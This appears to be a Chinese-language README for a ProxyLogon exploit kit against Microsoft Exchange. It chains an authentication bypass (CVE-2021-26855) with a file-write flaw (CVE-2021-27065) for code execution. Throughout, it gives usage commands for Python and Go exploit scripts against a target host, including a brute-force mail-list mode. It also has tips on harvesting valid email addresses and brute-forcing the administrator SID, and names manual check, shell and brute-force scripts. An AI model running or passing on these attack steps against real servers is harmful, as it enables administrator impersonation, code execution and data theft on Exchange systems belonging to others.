ProxyLogon

ProxyLogon 是 CVE-2021-26855 的通用名称，这是 Microsoft Exchange Server 上的一个漏洞，允许攻击者绕过身份验证并冒充管理员。我们还将此漏洞与另一个认证后的任意文件写入漏洞 CVE-2021-27065 结合，以实现代码执行。

Python3 版的 ProxyLogon

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

Go 版的 ProxyLogon

usage:
    go run proxylogon.go -u target.com -e [email protected]

提示：

1. 对目标进行侦查，找到有效的电子邮件地址
2. 如果找不到任何电子邮件，使用你的电子邮件文件对目标进行暴力破解
3. 在某些目标上自动化利用可能不起作用，你应该对 SID 进行暴力破解并替换为 SID=500

手动渗透测试

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

参考资料

• proxylogon